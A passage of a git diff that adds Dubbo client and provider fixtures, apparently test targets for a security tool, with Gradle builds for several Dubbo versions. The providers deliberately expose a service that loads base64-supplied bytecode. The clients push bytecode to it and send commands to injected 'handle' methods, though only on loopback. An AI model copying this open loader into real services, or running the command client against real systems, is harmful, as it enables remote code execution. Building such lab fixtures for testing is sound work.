Configuration by configurations.getting +val dubboClientAlibabaImplementation: Configuration by configurations.getting +val dubboClientApacheImplementation: Configuration by configurations.getting + +val dubboClientCommonOutput = dubboClientCommon.output + +dubboClientAlibaba.compileClasspath += dubboClientCommonOutput +dubboClientAlibaba.runtimeClasspath += dubboClientCommonOutput +dubboClientApache.compileClasspath += dubboClientCommonOutput +dubboClientApache.runtimeClasspath += dubboClientCommonOutput + +listOf( + "dubboClientApacheCompileClasspath", + "dubboClientApacheRuntimeClasspath" +).forEach { configurationName -> + configurations.named(configurationName) { + exclude(group = "io.netty", module = "netty-transport-native-kqueue") + exclude(group = "io.netty", module = "netty-resolver-dns-native-macos") + } +} + +idea { + module { + excludeDirs.add(file("src/main")) + } +} + +dependencies { + dubboClientCommonImplementation("org.slf4j:slf4j-api:1.7.36") + + dubboClientAlibabaImplementation(dubboClientCommonOutput) + dubboClientAlibabaImplementation("com.alibaba:dubbo:2.6.12") + dubboClientAlibabaImplementation("com.alibaba:hessian-lite:3.2.4") + dubboClientAlibabaImplementation("com.caucho:hessian:4.0.51") + dubboClientAlibabaImplementation("org.apache.httpcomponents:httpclient:4.5.3") + dubboClientAlibabaImplementation("org.springframework:spring-web:5.3.39") + dubboClientAlibabaImplementation("io.netty:netty-all:4.1.25.Final") + dubboClientAlibabaImplementation("org.mortbay.jetty:jetty:6.1.26") + dubboClientAlibabaImplementation("org.mortbay.jetty:jetty-util:6.1.26") + dubboClientAlibabaImplementation("org.slf4j:slf4j-api:1.7.36") + dubboClientAlibabaImplementation("ch.qos.logback:logback-classic:1.2.13") + + dubboClientApacheImplementation(dubboClientCommonOutput) + dubboClientApacheImplementation("org.apache.dubbo:dubbo:3.3.6") { + exclude(group = "log4j", module = "log4j") + } + dubboClientApacheImplementation("org.apache.dubbo:dubbo-rpc-triple:3.3.6") + dubboClientApacheImplementation("org.apache.dubbo.extensions:dubbo-rpc-http:3.3.1") + dubboClientApacheImplementation("org.apache.dubbo.extensions:dubbo-rpc-hessian:3.3.0") + dubboClientApacheImplementation("org.apache.dubbo:dubbo-remoting-http:3.3.0-beta.2") + dubboClientApacheImplementation("com.caucho:hessian:4.0.51") + dubboClientApacheImplementation("io.netty:netty-all:4.1.119.Final") + dubboClientApacheImplementation("org.slf4j:slf4j-api:2.0.17") + dubboClientApacheImplementation("ch.qos.logback:logback-classic:1.5.18") +} + +tasks.named(dubboClientCommon.compileJavaTaskName) { + options.release.set(8) +} + +listOf(dubboClientAlibaba, dubboClientApache).forEach { sourceSet -> + tasks.named(sourceSet.compileJavaTaskName) { + options.release.set(8) + } +} + +tasks.register("dubboClientClasspath") { + group = "verification" + dependsOn(dubboClientAlibaba.classesTaskName, dubboClientApache.classesTaskName) + doLast { + layout.buildDirectory.file("dubbo-client-classpaths/alibaba.txt").get().asFile.apply { + parentFile.mkdirs() + writeText(dubboClientAlibaba.runtimeClasspath.asPath) + } + layout.buildDirectory.file("dubbo-client-classpaths/apache.txt").get().asFile.apply { + parentFile.mkdirs() + writeText(dubboClientApache.runtimeClasspath.asPath) + } + } +} + +tasks.named("classes") { + dependsOn(dubboClientCommon.classesTaskName, dubboClientAlibaba.classesTaskName, dubboClientApache.classesTaskName) +} diff --git a/tools/command/src/dubboClientAlibaba/java/io/github/reajason/dubbo/fixture/client/alibaba/AlibabaDubboClient.java b/tools/command/src/dubboClientAlibaba/java/io/github/reajason/dubbo/fixture/client/alibaba/AlibabaDubboClient.java new file mode 100644 index 00000000..6c1b8d9e --- /dev/null +++ b/tools/command/src/dubboClientAlibaba/java/io/github/reajason/dubbo/fixture/client/alibaba/AlibabaDubboClient.java @@ -0,0 +1,101 @@ +package io.github.reajason.dubbo.fixture.client.alibaba; + +import com.alibaba.dubbo.common.utils.NetUtils; +import com.alibaba.dubbo.config.ApplicationConfig; +import com.alibaba.dubbo.config.ReferenceConfig; +import com.alibaba.dubbo.config.RegistryConfig; +import com.alibaba.dubbo.rpc.service.GenericService; +import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService; +import io.github.reajason.dubbo.fixture.client.ClientRuntimeSupport; + +import java.lang.reflect.Field; +import java.net.InetAddress; +import java.nio.charset.StandardCharsets; + +public class AlibabaDubboClient { + + private static final String LOOPBACK_HOST = "127.0.0.1"; + + public static void main(String[] args) { + ClientRuntimeSupport.prepareClientJvm(); + forceLoopbackLocalAddress(); + if (args.length < 1) { + throw new IllegalArgumentException("usage: load-bytes | run-command "); + } + if ("load-bytes".equals(args[0])) { + if (args.length < 3) { + throw new IllegalArgumentException("usage: load-bytes "); + } + System.out.println(loadBytes(args[1], args[2])); + return; + } + if ("run-command".equals(args[0])) { + if (args.length < 4) { + throw new IllegalArgumentException("usage: run-command "); + } + Object result = runCommand(args[1], args[2], args[3]); + if (result instanceof byte[]) { + System.out.println(new String((byte[]) result, StandardCharsets.UTF_8)); + } else { + System.out.println(String.valueOf(result)); + } + return; + } + throw new IllegalArgumentException("unsupported action: " + args[0]); + } + + public static String loadBytes(String url, String base64) { + ClientRuntimeSupport.prepareClientJvm(); + forceLoopbackLocalAddress(); + ReferenceConfig reference = new ReferenceConfig(); + reference.setApplication(new ApplicationConfig("alibaba-dubbo-load-bytes-client")); + reference.setRegistry(new RegistryConfig("N/A")); + reference.setInterface(BytecodeLoadingService.class); + reference.setCheck(false); + reference.setTimeout(30000); + reference.setRetries(0); + reference.setUrl(url); + + BytecodeLoadingService loadingService = reference.get(); + try { + return loadingService.loadBytes(base64); + } finally { + reference.destroy(); + } + } + + public static Object runCommand(String url, String interfaceName, String command) { + ClientRuntimeSupport.prepareClientJvm(); + forceLoopbackLocalAddress(); + ReferenceConfig reference = new ReferenceConfig(); + reference.setApplication(new ApplicationConfig("alibaba-dubbo-command-client")); + reference.setRegistry(new RegistryConfig("N/A")); + reference.setInterface(interfaceName); + reference.setGeneric(true); + reference.setCheck(false); + reference.setTimeout(30000); + reference.setRetries(0); + reference.setUrl(url); + + GenericService genericService = reference.get(); + try { + return genericService.$invoke( + "handle", + new String[]{byte[].class.getName()}, + new Object[]{command.getBytes(StandardCharsets.UTF_8)} + ); + } finally { + reference.destroy(); + } + } + + private static void forceLoopbackLocalAddress() { + try { + Field localAddressField = NetUtils.class.getDeclaredField("LOCAL_ADDRESS"); + localAddressField.setAccessible(true); + localAddressField.set(null, InetAddress.getByName(LOOPBACK_HOST)); + } catch (Exception ignored) { + // Best-effort workaround for Dubbo 2.6.x local address selection on macOS. + } + } +} diff --git a/tools/command/src/dubboClientApache/java/io/github/reajason/dubbo/fixture/client/apache/ApacheDubboClient.java b/tools/command/src/dubboClientApache/java/io/github/reajason/dubbo/fixture/client/apache/ApacheDubboClient.java new file mode 100644 index 00000000..24883d34 --- /dev/null +++ b/tools/command/src/dubboClientApache/java/io/github/reajason/dubbo/fixture/client/apache/ApacheDubboClient.java @@ -0,0 +1,83 @@ +package io.github.reajason.dubbo.fixture.client.apache; + +import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService; +import io.github.reajason.dubbo.fixture.client.ClientRuntimeSupport; +import org.apache.dubbo.config.ApplicationConfig; +import org.apache.dubbo.config.ReferenceConfig; +import org.apache.dubbo.config.RegistryConfig; +import org.apache.dubbo.rpc.service.GenericService; + +import java.nio.charset.StandardCharsets; + +public class ApacheDubboClient { + + public static void main(String[] args) { + ClientRuntimeSupport.prepareClientJvm(); + if (args.length < 1) { + throw new IllegalArgumentException("usage: load-bytes | run-command "); + } + if ("load-bytes".equals(args[0])) { + if (args.length < 3) { + throw new IllegalArgumentException("usage: load-bytes "); + } + System.out.println(loadBytes(args[1], args[2])); + return; + } + if ("run-command".equals(args[0])) { + if (args.length < 4) { + throw new IllegalArgumentException("usage: run-command "); + } + Object result = runCommand(args[1], args[2], args[3]); + if (result instanceof byte[]) { + System.out.println(new String((byte[]) result, StandardCharsets.UTF_8)); + } else { + System.out.println(String.valueOf(result)); + } + return; + } + throw new IllegalArgumentException("unsupported action: " + args[0]); + } + + public static String loadBytes(String url, String base64) { + ClientRuntimeSupport.prepareClientJvm(); + ReferenceConfig reference = new ReferenceConfig(); + reference.setApplication(new ApplicationConfig("apache-dubbo-load-bytes-client")); + reference.setRegistry(new RegistryConfig("N/A")); + reference.setInterface(BytecodeLoadingService.class); + reference.setCheck(false); + reference.setTimeout(30000); + reference.setRetries(0); + reference.setUrl(url); + + BytecodeLoadingService loadingService = reference.get(); + try { + return loadingService.loadBytes(base64); + } finally { + reference.destroy(); + } + } + + public static Object runCommand(String url, String interfaceName, String command) { + ClientRuntimeSupport.prepareClientJvm(); + ReferenceConfig reference = new ReferenceConfig(); + reference.setApplication(new ApplicationConfig("apache-dubbo-command-client")); + reference.setRegistry(new RegistryConfig("N/A")); + reference.setInterface(interfaceName); + reference.setGeneric(true); + reference.setCheck(false); + reference.setTimeout(30000); + reference.setRetries(0); + reference.setUrl(url); + + GenericService genericService = reference.get(); + try { + return genericService.$invoke( + "handle", + new String[]{byte[].class.getName()}, + new Object[]{command.getBytes(StandardCharsets.UTF_8)} + ); + } finally { + reference.destroy(); + } + } +} diff --git a/tools/command/src/dubboClientCommon/java/io/github/reajason/dubbo/fixture/api/BytecodeLoadingService.java b/tools/command/src/dubboClientCommon/java/io/github/reajason/dubbo/fixture/api/BytecodeLoadingService.java new file mode 100644 index 00000000..a634dbdf --- /dev/null +++ b/tools/command/src/dubboClientCommon/java/io/github/reajason/dubbo/fixture/api/BytecodeLoadingService.java @@ -0,0 +1,5 @@ +package io.github.reajason.dubbo.fixture.api; + +public interface BytecodeLoadingService { + String loadBytes(String base64); +} diff --git a/tools/command/src/dubboClientCommon/java/io/github/reajason/dubbo/fixture/client/ClientRuntimeSupport.java b/tools/command/src/dubboClientCommon/java/io/github/reajason/dubbo/fixture/client/ClientRuntimeSupport.java new file mode 100644 index 00000000..43e49999 --- /dev/null +++ b/tools/command/src/dubboClientCommon/java/io/github/reajason/dubbo/fixture/client/ClientRuntimeSupport.java @@ -0,0 +1,29 @@ +package io.github.reajason.dubbo.fixture.client; + +public final class ClientRuntimeSupport { + + private static final String[] PROXY_PROPERTIES = new String[]{ + "proxyHost", + "proxyPort", + "http.proxyHost", + "http.proxyPort", + "https.proxyHost", + "https.proxyPort", + "socksProxyHost", + "socksProxyPort", + "ftp.proxyHost", + "ftp.proxyPort" + }; + + private ClientRuntimeSupport() { + } + + public static void prepareClientJvm() { + System.setProperty("dubbo.compiler", "jdk"); + System.setProperty("java.net.preferIPv4Stack", "true"); + System.setProperty("java.net.useSystemProxies", "false"); + for (String property : PROXY_PROPERTIES) { + System.clearProperty(property); + } + } +} diff --git a/vul/vul-dubbo/build.gradle.kts b/vul/vul-dubbo/build.gradle.kts new file mode 100644 index 00000000..810d0a5a --- /dev/null +++ b/vul/vul-dubbo/build.gradle.kts @@ -0,0 +1,240 @@ +plugins { + id("java") + id("idea") +} + +group = "io.github.reajason" +version = rootProject.version + +val dubboProviderCommon: SourceSet by sourceSets.creating +val dubboProviderAlibaba: SourceSet by sourceSets.creating +val dubboProviderApache276: SourceSet by sourceSets.creating +val dubboProviderApache277: SourceSet by sourceSets.creating +val dubboProviderApache278: SourceSet by sourceSets.creating +val dubboProviderApache2723: SourceSet by sourceSets.creating +val dubboProviderApache336: SourceSet by sourceSets.creating + +val dubboProviderCommonImplementation: Configuration by configurations.getting +val dubboProviderAlibabaImplementation: Configuration by configurations.getting +val dubboProviderApache276Implementation: Configuration by configurations.getting +val dubboProviderApache277Implementation: Configuration by configurations.getting +val dubboProviderApache278Implementation: Configuration by configurations.getting +val dubboProviderApache2723Implementation: Configuration by configurations.getting +val dubboProviderApache336Implementation: Configuration by configurations.getting + +val dubboProviderCommonOutput = dubboProviderCommon.output + +dubboProviderAlibaba.compileClasspath += dubboProviderCommonOutput +dubboProviderAlibaba.runtimeClasspath += dubboProviderCommonOutput +dubboProviderApache276.compileClasspath += dubboProviderCommonOutput +dubboProviderApache276.runtimeClasspath += dubboProviderCommonOutput +dubboProviderApache277.compileClasspath += dubboProviderCommonOutput +dubboProviderApache277.runtimeClasspath += dubboProviderCommonOutput +dubboProviderApache278.compileClasspath += dubboProviderCommonOutput +dubboProviderApache278.runtimeClasspath += dubboProviderCommonOutput +dubboProviderApache2723.compileClasspath += dubboProviderCommonOutput +dubboProviderApache2723.runtimeClasspath += dubboProviderCommonOutput +dubboProviderApache336.compileClasspath += dubboProviderCommonOutput +dubboProviderApache336.runtimeClasspath += dubboProviderCommonOutput + +listOf( + "dubboProviderApache336CompileClasspath", + "dubboProviderApache336RuntimeClasspath" +).forEach { configurationName -> + configurations.named(configurationName) { + exclude(group = "io.netty", module = "netty-transport-native-kqueue") + exclude(group = "io.netty", module = "netty-resolver-dns-native-macos") + } +} + +idea { + module { + excludeDirs.add(file("src/main")) + } +} + +dependencies { + dubboProviderCommonImplementation("org.slf4j:slf4j-api:1.7.36") + dubboProviderCommonImplementation("org.apache.dubbo:dubbo:2.7.23") { + exclude(group = "log4j", module = "log4j") + } + + dubboProviderAlibabaImplementation(dubboProviderCommonOutput) + dubboProviderAlibabaImplementation("com.alibaba:dubbo:2.6.12") + dubboProviderAlibabaImplementation("org.apache.dubbo:dubbo:2.7.6") + dubboProviderAlibabaImplementation("com.alibaba:hessian-lite:3.2.4") + dubboProviderAlibabaImplementation("com.caucho:hessian:4.0.51") + dubboProviderAlibabaImplementation("org.apache.httpcomponents:httpclient:4.5.3") + dubboProviderAlibabaImplementation("org.springframework:spring-web:5.3.39") + dubboProviderAlibabaImplementation("io.netty:netty-all:4.1.25.Final") + dubboProviderAlibabaImplementation("org.mortbay.jetty:jetty:6.1.26") + dubboProviderAlibabaImplementation("org.mortbay.jetty:jetty-util:6.1.26") + dubboProviderAlibabaImplementation("org.slf4j:slf4j-api:1.7.36") + dubboProviderAlibabaImplementation("ch.qos.logback:logback-classic:1.2.13") + + fun apacheDubbo27Provider(configuration: Configuration, version: String, tomcatVersion: String) { + add(configuration.name, dubboProviderCommonOutput) + add(configuration.name, "org.apache.dubbo:dubbo:$version") { + exclude(group = "log4j", module = "log4j") + } + add(configuration.name, "com.alibaba:hessian-lite:3.2.4") + add(configuration.name, "com.caucho:hessian:4.0.51") + add(configuration.name, "org.apache.httpcomponents:httpclient:4.5.13") + add(configuration.name, "com.github.briandilley.jsonrpc4j:jsonrpc4j:1.2.0") + add(configuration.name, "org.springframework:spring-web:5.3.39") + add(configuration.name, "org.apache.tomcat.embed:tomcat-embed-core:$tomcatVersion") + add(configuration.name, "org.mortbay.jetty:jetty:6.1.26") + add(configuration.name, "org.mortbay.jetty:jetty-util:6.1.26") + add(configuration.name, "org.slf4j:slf4j-api:1.7.36") + add(configuration.name, "ch.qos.logback:logback-classic:1.2.13") + } + + apacheDubbo27Provider(dubboProviderApache276Implementation, "2.7.6", "8.5.100") + apacheDubbo27Provider(dubboProviderApache277Implementation, "2.7.7", "8.5.100") + apacheDubbo27Provider(dubboProviderApache278Implementation, "2.7.8", "9.0.104") + apacheDubbo27Provider(dubboProviderApache2723Implementation, "2.7.23", "9.0.104") + + dubboProviderApache336Implementation(dubboProviderCommonOutput) + dubboProviderApache336Implementation("org.apache.dubbo:dubbo:3.3.6") { + exclude(group = "log4j", module = "log4j") + } + dubboProviderApache336Implementation("org.apache.dubbo:dubbo-rpc-triple:3.3.6") + dubboProviderApache336Implementation("org.apache.dubbo.extensions:dubbo-rpc-http:3.3.1") + dubboProviderApache336Implementation("org.apache.dubbo.extensions:dubbo-rpc-hessian:3.3.0") + dubboProviderApache336Implementation("org.apache.dubbo:dubbo-remoting-http:3.3.0-beta.2") + dubboProviderApache336Implementation("com.caucho:hessian:4.0.51") + dubboProviderApache336Implementation("io.netty:netty-all:4.1.119.Final") + dubboProviderApache336Implementation("org.slf4j:slf4j-api:2.0.17") + dubboProviderApache336Implementation("ch.qos.logback:logback-classic:1.5.18") +} + +tasks.named(dubboProviderCommon.compileJavaTaskName) { + options.release.set(8) +} + +listOf( + dubboProviderAlibaba, + dubboProviderApache276, + dubboProviderApache277, + dubboProviderApache278, + dubboProviderApache2723, + dubboProviderApache336 +).forEach { sourceSet -> + tasks.named(sourceSet.compileJavaTaskName) { + options.release.set(8) + } +} + +fun registerDubboFatJar( + taskName: String, + sourceSet: SourceSet, + mainClassName: String, + mergeApacheProtocolSpi: Boolean = false +): TaskProvider { + val protocolSpiPath = "META-INF/dubbo/internal/org.apache.dubbo.rpc.Protocol" + val mergedProtocolSpi = layout.buildDirectory.file("generated/$taskName/$protocolSpiPath") + val mergeTask = if (mergeApacheProtocolSpi) { + tasks.register("${taskName}MergeProtocolSpi") { + inputs.files(sourceSet.runtimeClasspath) + outputs.file(mergedProtocolSpi) + doLast { + val outputFile = mergedProtocolSpi.get().asFile + outputFile.parentFile.mkdirs() + val mergedLines = linkedSetOf() + sourceSet.runtimeClasspath.files + .filter { it.extension == "jar" } + .forEach { runtimeJar -> + zipTree(runtimeJar).matching { + include(protocolSpiPath) + }.forEach { spiFile -> + spiFile.readLines() + .map(String::trim) + .filter { it.isNotEmpty() && !it.startsWith("#") } + .forEach(mergedLines::add) + } + } + outputFile.writeText(mergedLines.joinToString(System.lineSeparator())) + } + } + } else { + null + } + + return tasks.register(taskName) { + group = "verification" + archiveClassifier.set(taskName.removePrefix("dubbo").removeSuffix("FatJar").lowercase()) + duplicatesStrategy = DuplicatesStrategy.EXCLUDE + dependsOn(sourceSet.classesTaskName, dubboProviderCommon.classesTaskName) + manifest { + attributes["Main-Class"] = mainClassName + } + from(sourceSet.output) + from(dubboProviderCommon.output) + if (mergeApacheProtocolSpi) { + dependsOn(mergeTask) + from({ + sourceSet.runtimeClasspath.files + .filter { it.exists() } + .map { if (it.isDirectory) it else zipTree(it) } + }) { + includeEmptyDirs = false + exclude(protocolSpiPath) + } + into("META-INF/dubbo/internal") { + from(mergedProtocolSpi) { + rename { "org.apache.dubbo.rpc.Protocol" } + } + } + } else { + from({ + sourceSet.runtimeClasspath.files + .filter { it.exists() } + .map { if (it.isDirectory) it else zipTree(it) } + }) + } + } +} + +val dubboAlibabaProviderFatJar = registerDubboFatJar( + "dubboAlibabaProviderFatJar", + dubboProviderAlibaba, + "io.github.reajason.dubbo.fixture.alibaba.AlibabaDubbo2Provider" +) +val dubboApache276ProviderFatJar = registerDubboFatJar( + "dubboApache276ProviderFatJar", + dubboProviderApache276, + "io.github.reajason.dubbo.fixture.apache2.ApacheDubbo276Provider" +) +val dubboApache277ProviderFatJar = registerDubboFatJar( + "dubboApache277ProviderFatJar", + dubboProviderApache277, + "io.github.reajason.dubbo.fixture.apache2.ApacheDubbo277Provider" +) +val dubboApache278ProviderFatJar = registerDubboFatJar( + "dubboApache278ProviderFatJar", + dubboProviderApache278, + "io.github.reajason.dubbo.fixture.apache2.ApacheDubbo278Provider" +) +val dubboApache2723ProviderFatJar = registerDubboFatJar( + "dubboApache2723ProviderFatJar", + dubboProviderApache2723, + "io.github.reajason.dubbo.fixture.apache2.ApacheDubbo2723Provider" +) +val dubboApache336ProviderFatJar = registerDubboFatJar( + "dubboApache336ProviderFatJar", + dubboProviderApache336, + "io.github.reajason.dubbo.fixture.apache3.ApacheDubbo336Provider", + mergeApacheProtocolSpi = true +) + +tasks.register("dubboProviderFatJars") { + group = "verification" + dependsOn( + dubboAlibabaProviderFatJar, + dubboApache276ProviderFatJar, + dubboApache277ProviderFatJar, + dubboApache278ProviderFatJar, + dubboApache2723ProviderFatJar, + dubboApache336ProviderFatJar + ) +} diff --git a/vul/vul-dubbo/src/dubboProviderAlibaba/java/io/github/reajason/dubbo/fixture/alibaba/AlibabaDubbo2Provider.java b/vul/vul-dubbo/src/dubboProviderAlibaba/java/io/github/reajason/dubbo/fixture/alibaba/AlibabaDubbo2Provider.java new file mode 100644 index 00000000..4d6897f2 --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderAlibaba/java/io/github/reajason/dubbo/fixture/alibaba/AlibabaDubbo2Provider.java @@ -0,0 +1,65 @@ +package io.github.reajason.dubbo.fixture.alibaba; + +import com.alibaba.dubbo.config.ApplicationConfig; +import com.alibaba.dubbo.config.ProtocolConfig; +import com.alibaba.dubbo.config.RegistryConfig; +import com.alibaba.dubbo.config.ServiceConfig; +import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService; +import io.github.reajason.dubbo.fixture.api.DemoService; +import io.github.reajason.dubbo.fixture.common.BytecodeLoadingServiceImpl; +import io.github.reajason.dubbo.fixture.common.DemoServiceImpl; +import io.github.reajason.dubbo.fixture.common.LoadBytesExportContext; + +import java.util.Arrays; +import java.util.concurrent.CountDownLatch; + +public class AlibabaDubbo2Provider { + + public static void main(String[] args) throws InterruptedException { + System.setProperty("dubbo.compiler", "jdk"); + ApplicationConfig application = new ApplicationConfig("alibaba-dubbo2-provider"); + application.setQosEnable(true); + application.setQosPort(22221); + + ProtocolConfig dubboProtocol = new ProtocolConfig(); + dubboProtocol.setName("dubbo"); + dubboProtocol.setPort(20880); + + ProtocolConfig hessianProtocol = new ProtocolConfig(); + hessianProtocol.setName("hessian"); + hessianProtocol.setPort(28080); + + ProtocolConfig httpProtocol = new ProtocolConfig(); + httpProtocol.setName("http"); + httpProtocol.setPort(28081); + + RegistryConfig registry = new RegistryConfig("N/A"); + LoadBytesExportContext.register(application, registry, Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol)); + + ServiceConfig demoService = new ServiceConfig(); + demoService.setApplication(application); + demoService.setRegistry(registry); + demoService.setProtocols(Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol)); + demoService.setInterface(DemoService.class); + demoService.setRef(new DemoServiceImpl("alibaba-dubbo-2.6.12")); + demoService.export(); + + ServiceConfig loaderService = new ServiceConfig(); + loaderService.setApplication(application); + loaderService.setRegistry(registry); + loaderService.setProtocols(Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol)); + loaderService.setInterface(BytecodeLoadingService.class); + loaderService.setRef(new BytecodeLoadingServiceImpl()); + loaderService.export(); + + System.out.println("=============================================="); + System.out.println(" alibaba-dubbo 2.6.12 Provider started"); + System.out.println(" dubbo -> dubbo://127.0.0.1:20880"); + System.out.println(" hessian -> hessian://127.0.0.1:28080"); + System.out.println(" http -> http://127.0.0.1:28081"); + System.out.println(" qos -> 127.0.0.1:22221"); + System.out.println("=============================================="); + + new CountDownLatch(1).await(); + } +} diff --git a/vul/vul-dubbo/src/dubboProviderApache2723/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo2723Provider.java b/vul/vul-dubbo/src/dubboProviderApache2723/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo2723Provider.java new file mode 100644 index 00000000..ad5b3de5 --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderApache2723/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo2723Provider.java @@ -0,0 +1,7 @@ +package io.github.reajason.dubbo.fixture.apache2; + +public class ApacheDubbo2723Provider { + public static void main(String[] args) throws InterruptedException { + ApacheDubbo2Provider.start("apache-dubbo-2.7.23", 20881, 28082, 28083, 22222); + } +} diff --git a/vul/vul-dubbo/src/dubboProviderApache276/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo276Provider.java b/vul/vul-dubbo/src/dubboProviderApache276/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo276Provider.java new file mode 100644 index 00000000..5667c6d1 --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderApache276/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo276Provider.java @@ -0,0 +1,7 @@ +package io.github.reajason.dubbo.fixture.apache2; + +public class ApacheDubbo276Provider { + public static void main(String[] args) throws InterruptedException { + ApacheDubbo2Provider.start("apache-dubbo-2.7.6", 20885, 28086, 28087, 22226); + } +} diff --git a/vul/vul-dubbo/src/dubboProviderApache277/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo277Provider.java b/vul/vul-dubbo/src/dubboProviderApache277/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo277Provider.java new file mode 100644 index 00000000..05ec9a75 --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderApache277/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo277Provider.java @@ -0,0 +1,7 @@ +package io.github.reajason.dubbo.fixture.apache2; + +public class ApacheDubbo277Provider { + public static void main(String[] args) throws InterruptedException { + ApacheDubbo2Provider.start("apache-dubbo-2.7.7", 20886, 28088, 28089, 22227); + } +} diff --git a/vul/vul-dubbo/src/dubboProviderApache278/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo278Provider.java b/vul/vul-dubbo/src/dubboProviderApache278/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo278Provider.java new file mode 100644 index 00000000..65f83de6 --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderApache278/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo278Provider.java @@ -0,0 +1,7 @@ +package io.github.reajason.dubbo.fixture.apache2; + +public class ApacheDubbo278Provider { + public static void main(String[] args) throws InterruptedException { + ApacheDubbo2Provider.start("apache-dubbo-2.7.8", 20887, 28090, 28091, 22228); + } +} diff --git a/vul/vul-dubbo/src/dubboProviderApache336/java/io/github/reajason/dubbo/fixture/apache3/ApacheDubbo336Provider.java b/vul/vul-dubbo/src/dubboProviderApache336/java/io/github/reajason/dubbo/fixture/apache3/ApacheDubbo336Provider.java new file mode 100644 index 00000000..66df0a13 --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderApache336/java/io/github/reajason/dubbo/fixture/apache3/ApacheDubbo336Provider.java @@ -0,0 +1,65 @@ +package io.github.reajason.dubbo.fixture.apache3; + +import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService; +import io.github.reajason.dubbo.fixture.api.DemoService; +import io.github.reajason.dubbo.fixture.common.BytecodeLoadingServiceImpl; +import io.github.reajason.dubbo.fixture.common.DemoServiceImpl; +import io.github.reajason.dubbo.fixture.common.LoadBytesExportContext; +import org.apache.dubbo.config.ApplicationConfig; +import org.apache.dubbo.config.ProtocolConfig; +import org.apache.dubbo.config.RegistryConfig; +import org.apache.dubbo.config.ServiceConfig; +import org.apache.dubbo.config.bootstrap.DubboBootstrap; + +import java.util.Arrays; + +public class ApacheDubbo336Provider { + + public static void main(String[] args) { + System.setProperty("dubbo.compiler", "jdk"); + ApplicationConfig application = new ApplicationConfig("apache-dubbo-3.3.6-provider"); + application.setQosEnable(true); + application.setQosPort(22223); + + RegistryConfig registry = new RegistryConfig("N/A"); + ProtocolConfig dubboProtocol = new ProtocolConfig("dubbo", 20882); + ProtocolConfig triProtocol = new ProtocolConfig("tri", 50051); + ProtocolConfig hessianProtocol = new ProtocolConfig("hessian", 28084); + ProtocolConfig httpProtocol = new ProtocolConfig("http", 28085); + LoadBytesExportContext.register( + application, + registry, + Arrays.asList(dubboProtocol, triProtocol, hessianProtocol, httpProtocol) + ); + + ServiceConfig demoService = new ServiceConfig(); + demoService.setInterface(DemoService.class); + demoService.setRef(new DemoServiceImpl("apache-dubbo-3.3.6")); + + ServiceConfig loaderService = new ServiceConfig(); + loaderService.setInterface(BytecodeLoadingService.class); + loaderService.setRef(new BytecodeLoadingServiceImpl()); + + DubboBootstrap.getInstance() + .application(application) + .registry(registry) + .protocol(dubboProtocol) + .protocol(triProtocol) + .protocol(hessianProtocol) + .protocol(httpProtocol) + .service(demoService) + .service(loaderService) + .start(); + + System.out.println("=============================================="); + System.out.println(" apache-dubbo-3.3.6 Provider started"); + System.out.println(" dubbo -> dubbo://127.0.0.1:20882"); + System.out.println(" tri -> tri://127.0.0.1:50051"); + System.out.println(" hessian -> hessian://127.0.0.1:28084"); + System.out.println(" http -> http://127.0.0.1:28085"); + System.out.println(" qos -> 127.0.0.1:22223"); + System.out.println("=============================================="); + + DubboBootstrap.getInstance().await(); + } +} diff --git a/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo2Provider.java b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo2Provider.java new file mode 100644 index 00000000..3c1f5e1d --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo2Provider.java @@ -0,0 +1,71 @@ +package io.github.reajason.dubbo.fixture.apache2; + +import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService; +import io.github.reajason.dubbo.fixture.api.DemoService; +import io.github.reajason.dubbo.fixture.common.BytecodeLoadingServiceImpl; +import io.github.reajason.dubbo.fixture.common.DemoServiceImpl; +import io.github.reajason.dubbo.fixture.common.LoadBytesExportContext; +import org.apache.dubbo.config.ApplicationConfig; +import org.apache.dubbo.config.ProtocolConfig; +import org.apache.dubbo.config.RegistryConfig; +import org.apache.dubbo.config.ServiceConfig; + +import java.util.Arrays; +import java.util.concurrent.CountDownLatch; + +public final class ApacheDubbo2Provider { + + private ApacheDubbo2Provider() { + } + + public static void start(String providerName, int dubboPort, int hessianPort, int httpPort, int qosPort) + throws InterruptedException { + System.setProperty("dubbo.compiler", "jdk"); + ApplicationConfig application = new ApplicationConfig(providerName + "-provider"); + application.setQosEnable(true); + application.setQosPort(qosPort); + + ProtocolConfig dubboProtocol = new ProtocolConfig(); + dubboProtocol.setName("dubbo"); + dubboProtocol.setPort(dubboPort); + + ProtocolConfig hessianProtocol = new ProtocolConfig(); + hessianProtocol.setName("hessian"); + hessianProtocol.setPort(hessianPort); + hessianProtocol.setServer("tomcat"); + + ProtocolConfig httpProtocol = new ProtocolConfig(); + httpProtocol.setName("http"); + httpProtocol.setPort(httpPort); + httpProtocol.setServer("tomcat"); + + RegistryConfig registry = new RegistryConfig("N/A"); + LoadBytesExportContext.register(application, registry, 